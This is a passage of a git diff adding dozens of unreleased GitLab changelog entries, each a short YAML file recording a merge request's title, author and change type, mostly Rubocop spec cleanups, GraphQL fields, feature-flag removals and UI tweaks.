+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-hook-data.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-hook-data.yml
new file mode 100644
index 00000000000..cefa8109984
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-hook-data.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/lib/gitlab/hook_data
+merge_request: 58262
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-imoport-export.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-imoport-export.yml
new file mode 100644
index 00000000000..fde96539c7b
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-imoport-export.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses spec/lib/gitlab/import_export
+merge_request: 58264
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-jira-import.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-jira-import.yml
new file mode 100644
index 00000000000..6343b6f0790
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-jira-import.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/lib/gitlab/jira_import
+merge_request: 58266
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-graphql-types.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-graphql-types.yml
new file mode 100644
index 00000000000..72e76aa4048
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-graphql-types.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/graphql/types
+merge_request: 58241
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-groups-controller.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-groups-controller.yml
new file mode 100644
index 00000000000..7cd50cbec51
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-groups-controller.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe Rubocop offenses for groups controller
+merge_request: 58174
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-groups-module.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-groups-module.yml
new file mode 100644
index 00000000000..44df3c067dc
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-groups-module.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe Rubocop offenses for groups module
+merge_request: 58183
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-helpers.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-helpers.yml
new file mode 100644
index 00000000000..2b9b15425c1
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-helpers.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe Rubocop offenses for helpers
+merge_request: 58192
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-lib-banzai.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-lib-banzai.yml
new file mode 100644
index 00000000000..faef20f79d3
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-lib-banzai.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/lib/banzai
+merge_request: 58242
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-lib-gitlab.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-lib-gitlab.yml
new file mode 100644
index 00000000000..092c7edd781
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-lib-gitlab.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/lib/gitlab
+merge_request: 58314
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-mailers.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-mailers.yml
new file mode 100644
index 00000000000..32f514a95f1
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-mailers.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/mailers
+merge_request: 58319
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-metrics-module.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-metrics-module.yml
new file mode 100644
index 00000000000..820eb03e13e
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-metrics-module.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe Rubocop offenses for metrics module
+merge_request: 58190
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-models-blob-viewer.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-models-blob-viewer.yml
new file mode 100644
index 00000000000..3a1c7af10fe
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-models-blob-viewer.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/models/blob_viewer
+merge_request: 58325
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-models-ci.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-models-ci.yml
new file mode 100644
index 00000000000..9c337f2b88d
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-models-ci.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/models/ci
+merge_request: 58327
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-models-concerns.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-models-concerns.yml
new file mode 100644
index 00000000000..27eb4d38a23
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-models-concerns.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/models/concerns
+merge_request: 58367
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-models-project.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-models-project.yml
new file mode 100644
index 00000000000..cf41822a4f9
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-models-project.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/models/project
+merge_request: 58372
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-phabricator-import.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-phabricator-import.yml
new file mode 100644
index 00000000000..267d5c462fd
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-phabricator-import.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe in spec/lib/gitlab/phabricator_import
+merge_request: 58297
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-policies.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-policies.yml
new file mode 100644
index 00000000000..3d61b9fa7f2
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-policies.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/policies
+merge_request: 58393
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-projects-controller.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-projects-controller.yml
new file mode 100644
index 00000000000..d56d321b93c
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-projects-controller.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe Rubocop offenses for projects controller
+merge_request: 58176
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: other
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-serializers.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-serializers.yml
new file mode 100644
index 00000000000..424079b60a4
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-serializers.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/serializers
+merge_request: 58406
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-award-emojis.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-award-emojis.yml
new file mode 100644
index 00000000000..5b846c00c08
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-award-emojis.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/services/award_emojis
+merge_request: 58407
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-boards.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-boards.yml
new file mode 100644
index 00000000000..5d273baeffc
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-boards.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/services/boards
+merge_request: 58413
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-design-management.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-design-management.yml
new file mode 100644
index 00000000000..4a2c45c7117
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-design-management.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe in spec/services/design_management
+merge_request: 58416
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-environments.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-environments.yml
new file mode 100644
index 00000000000..33c8ea69627
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-environments.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/services/environments
+merge_request: 58418
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-groups.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-groups.yml
new file mode 100644
index 00000000000..02326d55121
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-groups.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/services/groups
+merge_request: 58423
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-ide.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-ide.yml
new file mode 100644
index 00000000000..32bb78d6d1c
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-ide.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/services/ide
+merge_request: 58424
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-issues.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-issues.yml
new file mode 100644
index 00000000000..c7874529642
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-issues.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/services/issues
+merge_request: 58425
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-merge-request.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-merge-request.yml
new file mode 100644
index 00000000000..dd7b6e30576
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-merge-request.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/services/merge_requests
+merge_request: 58429
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-detail-view-deprecated-button.yml b/changelogs/unreleased/issue-detail-view-deprecated-button.yml
new file mode 100644
index 00000000000..fafdc6d131f
--- /dev/null
+++ b/changelogs/unreleased/issue-detail-view-deprecated-button.yml
@@ -0,0 +1,5 @@
+---
+title: Remove deprecated button classes from issue detail view
+merge_request: 57763
+author:
+type: changed
diff --git a/changelogs/unreleased/issue-list-view-deprecated-button.yml b/changelogs/unreleased/issue-list-view-deprecated-button.yml
new file mode 100644
index 00000000000..f37c935d4af
--- /dev/null
+++ b/changelogs/unreleased/issue-list-view-deprecated-button.yml
@@ -0,0 +1,5 @@
+---
+title: Remove deprecated info button from issue list view
+merge_request: 57762
+author:
+type: other
diff --git a/changelogs/unreleased/issue_322686-improve_award_emoji_filtering_query.yml b/changelogs/unreleased/issue_322686-improve_award_emoji_filtering_query.yml
new file mode 100644
index 00000000000..a7115072bf3
--- /dev/null
+++ b/changelogs/unreleased/issue_322686-improve_award_emoji_filtering_query.yml
@@ -0,0 +1,5 @@
+---
+title: Add composite index to support epic filtering by award emoji
+merge_request: 57759
+author:
+type: performance
diff --git a/changelogs/unreleased/jivanvl-add-fields-to-job-type-graphql.yml b/changelogs/unreleased/jivanvl-add-fields-to-job-type-graphql.yml
new file mode 100644
index 00000000000..35d5b737b6b
--- /dev/null
+++ b/changelogs/unreleased/jivanvl-add-fields-to-job-type-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Add id and short_sha GraphQL fields to jobType in the CI namespace
+merge_request: 56714
+author:
+type: changed
diff --git a/changelogs/unreleased/jivanvl-add-tags-job-type-graphql.yml b/changelogs/unreleased/jivanvl-add-tags-job-type-graphql.yml
new file mode 100644
index 00000000000..fbfed90706d
--- /dev/null
+++ b/changelogs/unreleased/jivanvl-add-tags-job-type-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Add tags field to jobType in the CI namespace
+merge_request: 57631
+author:
+type: changed
diff --git a/changelogs/unreleased/jivanvl-enable-gldropdown-branches-ff.yml b/changelogs/unreleased/jivanvl-enable-gldropdown-branches-ff.yml
new file mode 100644
index 00000000000..526410a240d
--- /dev/null
+++ b/changelogs/unreleased/jivanvl-enable-gldropdown-branches-ff.yml
@@ -0,0 +1,5 @@
+---
+title: Update search and sort from the branches page
+merge_request: 58951
+author:
+type: changed
diff --git a/changelogs/unreleased/jivanvl-fix-icon-size-pipeline-editor.yml b/changelogs/unreleased/jivanvl-fix-icon-size-pipeline-editor.yml
new file mode 100644
index 00000000000..211a95643b0
--- /dev/null
+++ b/changelogs/unreleased/jivanvl-fix-icon-size-pipeline-editor.yml
@@ -0,0 +1,5 @@
+---
+title: Change icon size in the pipeline editor
+merge_request: 56780
+author:
+type: changed
diff --git a/changelogs/unreleased/jivanvl-fix-tooltip-position-mini-pipeline-chart.yml b/changelogs/unreleased/jivanvl-fix-tooltip-position-mini-pipeline-chart.yml
new file mode 100644
index 00000000000..7ebb430b343
--- /dev/null
+++ b/changelogs/unreleased/jivanvl-fix-tooltip-position-mini-pipeline-chart.yml
@@ -0,0 +1,5 @@
+---
+title: Fix tooltip position in mini pipeline chart
+merge_request: 57425
+author:
+type: fixed
diff --git a/changelogs/unreleased/jivanvl-remove-ci-instance-variables-ui-ff.yml b/changelogs/unreleased/jivanvl-remove-ci-instance-variables-ui-ff.yml
new file mode 100644
index 00000000000..dfea1fa4875
--- /dev/null
+++ b/changelogs/unreleased/jivanvl-remove-ci-instance-variables-ui-ff.yml
@@ -0,0 +1,5 @@
+---
+title: Enable the instance variables UI
+merge_request: 56255
+author:
+type: other
diff --git a/changelogs/unreleased/jivanvl-remove-gldropdown-branches-ff.yml b/changelogs/unreleased/jivanvl-remove-gldropdown-branches-ff.yml
new file mode 100644
index 00000000000..344642e281b
--- /dev/null
+++ b/changelogs/unreleased/jivanvl-remove-gldropdown-branches-ff.yml
@@ -0,0 +1,5 @@
+---
+title: Remove gldropdown_branches feature flag
+merge_request: 59179
+author:
+type: changed
diff --git a/changelogs/unreleased/jl-lower-milestone-issue-display-limit.yml b/changelogs/unreleased/jl-lower-milestone-issue-display-limit.yml
new file mode 100644
index 00000000000..9b0d23d6866
--- /dev/null
+++ b/changelogs/unreleased/jl-lower-milestone-issue-display-limit.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce milestone issue list display limit to 500
+merge_request: 58168
+author:
+type: performance
diff --git a/changelogs/unreleased/jl-update-ru-weight-translation.yml b/changelogs/unreleased/jl-update-ru-weight-translation.yml
new file mode 100644
index 00000000000..4b214c53efa
--- /dev/null
+++ b/changelogs/unreleased/jl-update-ru-weight-translation.yml
@@ -0,0 +1,5 @@
+---
+title: Update weight transaltion for Russian locale
+merge_request: 56986
+author: Gennady Kovalev (@belolap)
+type: fixed
diff --git a/changelogs/unreleased/jonstonchan-fix-triggers-externalization.yml b/changelogs/unreleased/jonstonchan-fix-triggers-externalization.yml
new file mode 100644
index 00000000000..56f6127478b
--- /dev/null
+++ b/changelogs/unreleased/jonstonchan-fix-triggers-externalization.yml
@@ -0,0 +1,5 @@
+---
+title: Fix triggers page externalization
+merge_request: 57637
+author: Jonston Chan @JonstonChan
+type: other
diff --git a/changelogs/unreleased/js-semgrep.yml b/changelogs/unreleased/js-semgrep.yml
new file mode 100644
index 00000000000..36f374e3ab0
--- /dev/null
+++ b/changelogs/unreleased/js-semgrep.yml
@@ -0,0 +1,5 @@
+---
+title: Add JavaScript, TypeScript, and React support to the semgrep analyzer.
+merge_request: 55257
+author:
+type: added
diff --git a/changelogs/unreleased/jswain_whats_new_self_managed_authenticated.yml b/changelogs/unreleased/jswain_whats_new_self_managed_authenticated.yml
new file mode 100644
index 00000000000..e7e91dd8580
--- /dev/null
+++ b/changelogs/unreleased/jswain_whats_new_self_managed_authenticated.yml
@@ -0,0 +1,5 @@
+---
+title: Hide What's New for unauthenticated users
+merge_request: 59330
+author:
+type: changed
diff --git a/changelogs/unreleased/kassio-bulkimports-add-pipeline-worker.yml b/changelogs/unreleased/kassio-bulkimports-add-pipeline-worker.yml
new file mode 100644
index 00000000000..cba16e474be
--- /dev/null
+++ b/changelogs/unreleased/kassio-bulkimports-add-pipeline-worker.yml
@@ -0,0 +1,5 @@
+---
+title: 'BulkImports: Add `BulkImports::PipelineWorker` to process each BulkImport pipeline on its own background job'
+merge_request: 57153
+author:
+type: added
diff --git a/changelogs/unreleased/kassio-bulkimports-import-milestone-iid.yml b/changelogs/unreleased/kassio-bulkimports-import-milestone-iid.yml
new file mode 100644
index 00000000000..fe707d3dca3
--- /dev/null
+++ b/changelogs/unreleased/kassio-bulkimports-import-milestone-iid.yml
@@ -0,0 +1,5 @@
+---
+title: 'BulkImports: Import milestone iid'
+merge_request: 58107
+author:
+type: changed
diff --git a/changelogs/unreleased/kassio-bulkimports-track-pipeline-work.yml b/changelogs/unreleased/kassio-bulkimports-track-pipeline-work.yml
new file mode 100644
index 00000000000..3665f0c995f
--- /dev/null
+++ b/changelogs/unreleased/kassio-bulkimports-track-pipeline-work.yml
@@ -0,0 +1,5 @@
+---
+title: 'BulkImports: Track pipeline worker with BulkImports::Tracker#status'
+merge_request: 56242
+author:
+type: changed
diff --git a/changelogs/unreleased/kassio-graphql-expose-board-create-at-updated-at.yml b/changelogs/unreleased/kassio-graphql-expose-board-create-at-updated-at.yml
new file mode 100644
index 00000000000..cca9070a337
--- /dev/null
+++ b/changelogs/unreleased/kassio-graphql-expose-board-create-at-updated-at.yml
@@ -0,0 +1,5 @@
+---
+title: Expose createdAt and updatedAt fields for Board in the GraphQL API
+merge_request: 57645
+author:
+type: changed
diff --git a/changelogs/unreleased/kassio-graphql-expose-milestone-iid.yml b/changelogs/unreleased/kassio-graphql-expose-milestone-iid.yml
new file mode 100644
index 00000000000..895439db59c
--- /dev/null
+++ b/changelogs/unreleased/kassio-graphql-expose-milestone-iid.yml
@@ -0,0 +1,5 @@
+---
+title: 'GraphQL: expose milestone iid'
+merge_request: 57732
+author:
+type: changed
diff --git a/changelogs/unreleased/kassio-phabricator-enabled-by-default.yml b/changelogs/unreleased/kassio-phabricator-enabled-by-default.yml
new file mode 100644
index 00000000000..0a4234f8987
--- /dev/null
+++ b/changelogs/unreleased/kassio-phabricator-enabled-by-default.yml
@@ -0,0 +1,5 @@
+---
+title: Enabled phabricator importer by default
+merge_request: 56765
+author:
+type: added
diff --git a/changelogs/unreleased/kerrizor-use-specialized-service-for-assignee-updates.yml b/changelogs/unreleased/kerrizor-use-specialized-service-for-assignee-updates.yml
new file mode 100644
index 00000000000..d251af4a6f9
--- /dev/null
+++ b/changelogs/unreleased/kerrizor-use-specialized-service-for-assignee-updates.yml
@@ -0,0 +1,5 @@
+---
+title: Add framework for using specialized services to improve performance of MergeRequests::UpdateService
+merge_request: 58836
+author:
+type: performance
diff --git a/changelogs/unreleased/kp-remove-roadmap-buffered-rendering-ff.yml b/changelogs/unreleased/kp-remove-roadmap-buffered-rendering-ff.yml
new file mode 100644
index 00000000000..d4d3c34a5b8
--- /dev/null
+++ b/changelogs/unreleased/kp-remove-roadmap-buffered-rendering-ff.yml
@@ -0,0 +1,5 @@
+---
+title: Remove unused feature flag ':roadmap_buffered_rendering'
+merge_request: 57486
+author:
+type: removed
diff --git a/changelogs/unreleased/kp-show-pipeline-finish-timestamp.yml b/changelogs/unreleased/kp-show-pipeline-finish-timestamp.yml
new file mode 100644
index 00000000000..bc2eb39b274
--- /dev/null
+++ b/changelogs/unreleased/kp-show-pipeline-finish-timestamp.yml
@@ -0,0 +1,5 @@
+---
+title: Show pipeline finished timestamp on MR widget
+merge_request: 58618
+author:
+type: added
diff --git a/changelogs/unreleased/label-background-colour.yml b/changelogs/unreleased/label-background-colour.yml
new file mode 100644
index 00000000000..b6bfa600cfb
--- /dev/null
+++ b/changelogs/unreleased/label-background-colour.yml
@@ -0,0 +1,5 @@
+---
+title: Update label container background and border colour from dark grey to use the same light grey as the board's containers
+merge_request: 58279
+author:
+type: changed
diff --git a/changelogs/unreleased/limit-graphql-requests-in-performance-bar.yml b/changelogs/unreleased/limit-graphql-requests-in-performance-bar.yml
new file mode 100644
index 00000000000..98bff51a350
--- /dev/null
+++ b/changelogs/unreleased/limit-graphql-requests-in-performance-bar.yml
@@ -0,0 +1,5 @@
+---
+title: Limit number of GraphQL requests tracked in performance bar to 10
+merge_request: 59158
+author:
+type: performance
diff --git a/changelogs/unreleased/link-mrs-failed-deploys.yml b/changelogs/unreleased/link-mrs-failed-deploys.yml
new file mode 100644
index 00000000000..7271eaf3d31
--- /dev/null
+++ b/changelogs/unreleased/link-mrs-failed-deploys.yml
@@ -0,0 +1,5 @@
+---
+title: Only link merge requests to successful deployments
+merge_request: 58072
+author:
+type: fixed
diff --git a/changelogs/unreleased/link-to-version.yml b/changelogs/unreleased/link-to-version.yml
new file mode 100644
index 00000000000..bbe1897767a
--- /dev/null
+++ b/changelogs/unreleased/link-to-version.yml
@@ -0,0 +1,5 @@
+---
+title: Link to revision in version on admin dashboard
+merge_request: 58225
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/lm-add-scheduling-type-to-job.yml b/changelogs/unreleased/lm-add-scheduling-type-to-job.yml
new file mode 100644
index 00000000000..d49eabf28fb
--- /dev/null
+++ b/changelogs/unreleased/lm-add-scheduling-type-to-job.yml
@@ -0,0 +1,5 @@
+---
+title: Exposes schedulingType on CiJobType and adds usesNeeds to PipelineType
+merge_request: 57398
+author:
+type: added
diff --git a/changelogs/unreleased/lm-deep-stringify-merged-yaml.yml b/changelogs/unreleased/lm-deep-stringify-merged-yaml.yml
new file mode 100644
index 00000000000..0640c45060d
--- /dev/null
+++ b/changelogs/unreleased/lm-deep-stringify-merged-yaml.yml
@@ -0,0 +1,5 @@
+---
+title: Returns deep stringified keys for merged_yaml in linting endpoint
+merge_request: 54336
+author:
+type: changed
diff --git a/changelogs/unreleased/lm-enable-ff-by-default.yml b/changelogs/unreleased/lm-enable-ff-by-default.yml
new file mode 100644
index 00000000000..52b69275255
--- /dev/null
+++ b/changelogs/unreleased/lm-enable-ff-by-default.yml
@@ -0,0 +1,5 @@
+---
+title: Enables multiple_cache_per_job feature flag by default
+merge_request: 59016
+author:
+type: added
diff --git a/changelogs/unreleased/make-ci_runner_builds_queue_on_replicas-default.yml b/changelogs/unreleased/make-ci_runner_builds_queue_on_replicas-default.yml
new file mode 100644
index 00000000000..e559339e0f7
--- /dev/null
+++ b/changelogs/unreleased/make-ci_runner_builds_queue_on_replicas-default.yml
@@ -0,0 +1,5 @@
+---
+title: Make `ci_runner_builds_queue_on_replicas` default
+merge_request: 57484
+author:
+type: performance
diff --git a/changelogs/unreleased/manifest-unsafe-scheme.yml b/changelogs/unreleased/manifest-unsafe-scheme.yml
new file mode 100644
index 00000000000..8158af93b31
--- /dev/null
+++ b/changelogs/unreleased/manifest-unsafe-scheme.yml
@@ -0,0 +1,5 @@
+---
+title: Validate import manifest url scheme
+merge_request: 57071
+author:
+type: fixed
diff --git a/changelogs/unreleased/mc-backstage-graphql-list-available-branches.yml b/changelogs/unreleased/mc-backstage-graphql-list-available-branches.yml
new file mode 100644
index 00000000000..053e68e6ec1
--- /dev/null
+++ b/changelogs/unreleased/mc-backstage-graphql-list-available-branches.yml
@@ -0,0 +1,5 @@
+---
+title: Add branch names field to repository GraphQL type.
+merge_request: 55074
+author:
+type: changed
diff --git a/changelogs/unreleased/mc-backstage-reschedule-artifac-expiry-date-again.yml b/changelogs/unreleased/mc-backstage-reschedule-artifac-expiry-date-again.yml
new file mode 100644
index 00000000000..ffdd268c086
--- /dev/null
+++ b/changelogs/unreleased/mc-backstage-reschedule-artifac-expiry-date-again.yml
@@ -0,0 +1,5 @@
+---
+title: Schedule artifact expiry backfill again.
+merge_request: 59270
+author:
+type: changed
diff --git a/changelogs/unreleased/mc-backstage-use-redis-in-branch-finder.yml b/changelogs/unreleased/mc-backstage-use-redis-in-branch-finder.yml
new file mode 100644
index 00000000000..93f44b0f720
--- /dev/null
+++ b/changelogs/unreleased/mc-backstage-use-redis-in-branch-finder.yml
@@ -0,0 +1,5 @@
+---
+title: Create finder for searching branch names via redis.
+merge_request: 58439
+author:
+type: performance
diff --git a/changelogs/unreleased/mermaid-8-9-2.yml b/changelogs/unreleased/mermaid-8-9-2.yml
new file mode 100644
index 00000000000..7cb4731fa33
--- /dev/null
+++ b/changelogs/unreleased/mermaid-8-9-2.yml
@@ -0,0 +1,5 @@
+---
+title: Update mermaid to version 8.9.2
+merge_request:
+author:
+type: security
diff --git a/changelogs/unreleased/migration-add-trial-extension-type-to-gitlab-subscriptions.yml b/changelogs/unreleased/migration-add-trial-extension-type-to-gitlab-subscriptions.yml
new file mode 100644
index 00000000000..1b529893aee
--- /dev/null
+++ b/changelogs/unreleased/migration-add-trial-extension-type-to-gitlab-subscriptions.yml
@@ -0,0 +1,5 @@
+---
+title: 'Migration: add trial extension type to gitlab_subscription'
+merge_request: 56460
+author:
+type: added
diff --git a/changelogs/unreleased/milestone-list-deprecated-button.yml b/changelogs/unreleased/milestone-list-deprecated-button.yml
new file mode 100644
index 00000000000..634f35ab0f8
--- /dev/null
+++ b/changelogs/unreleased/milestone-list-deprecated-button.yml
@@ -0,0 +1,5 @@
+---
+title: Replace deprecated Close Milestone button on list view
+merge_request: 57871
+author:
+type: changed
